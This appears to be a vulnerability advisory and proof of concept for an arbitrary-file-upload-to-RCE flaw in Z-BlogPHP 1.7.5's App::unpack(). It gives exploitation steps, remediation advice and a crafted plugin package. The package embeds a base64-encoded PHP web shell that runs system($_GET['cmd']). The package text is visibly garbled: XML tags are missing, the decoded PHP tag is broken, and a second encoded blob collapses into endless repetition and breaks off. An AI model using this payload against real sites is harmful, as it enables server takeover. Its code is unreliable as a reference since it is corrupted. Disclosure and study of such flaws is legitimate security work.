Z-BlogPHP Arbitrary File Upload to RCE via App::unpack()

Z-BlogPHP Theme and Plugin Arbitrary File Upload Vulnerability - Remote Code Execution (RCE) Vulnerability Overview The method in Z-BlogPHP, when parsing application packages (ZBA files), only performs base64 decoding on the file content and writes it directly to the disk without any security verification (such as file type validation, content sanitization, extension checking, or signature verification). Attackers can craft malicious ZBA files, upload them, and achieve remote code execution. Affected Versions Product: Z-BlogPHP Affected Version: 1.7.5 Test Environment: Windows NT 10.0; Apache 2.4.39; PHP 7.4.3 x64; MySQL 5.7.26; curl 7.68.0; OpenSSL 1.1.1d Exploitation Steps 1. Construct Malicious ZBA File: Include PHP backdoor code. 2. Upload: Upload via the backend "App Center" (local upload or remote download). 3. Install: Install and activate the plugin or theme in the backend. 4. Execute: Visit the backdoor file to execute arbitrary commands. URL Example: Remediation Perform strict file type validation on uploaded ZBA files. Clean and sanitize file contents. Check file extensions. Verify file signatures. POC / Exploit Code Example Structure of a Malicious ZBA File Complete Example of a Malicious ZBA File ```xml my_plugin/zip My Plugin http://example.com My Plugin A simple plugin for Z-BlogPHP main.php include.php 1 Author Name author@example.com http://example.com Author Name author@example.com http://example.com 170000 1.0 2024-03-20 2024-03-20 0 5.6 path my_plugin/include.php PD9waG9uZmEoKSk7c3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= my_plugin/main.php PD9waG9uZmEoKSk7ZnVuY3Rpb24gTXlfcGx1Z2luX0FjdGl2ZSgpIHsgcmV0dXJuIHRydWU7IH0gZnVuY3Rpb24gTXlfcGx1Z2luX0luc3RhbGwoKSB7IHJldHVybiB0cnVlOyB9IGZ1bmN0aW9uIE15X3BsdWdpbl9Vbmluc3RhbGwoKSB7IHJldHVybiB0cnVlOyB9IHBsdWdpbl9yZWcoJ015IFBsdWdpbicsJ015IFBsdWdpbicsJzEuMCcsJ0F1dGhvciBOYW1lJywnaHR0cDovL2V4YW1wbGUuY29tJywnQSBzaW1wbGUgcGx1Z2luIGZvciBaLUJsb2dQaHAnLCdhdXRob3JAZXhhbXBsZS5jb20nLCdodHRwOi8vZXhhbXBsZS5jb20nLCdhdXRob3JAZXhhbXBsZS5jb20nLCdodHRwOi8vZXhhbXBsZS5jb20nLCcxNzAwMDAnLCcxLjAnLCcyMDI0LTAzLTIwJywnMjAyNC0wMy0yMCcsJzAnLCc1LjYnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcn

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Z-BlogPHP Arbitrary File Upload to RCE via App::unpack()

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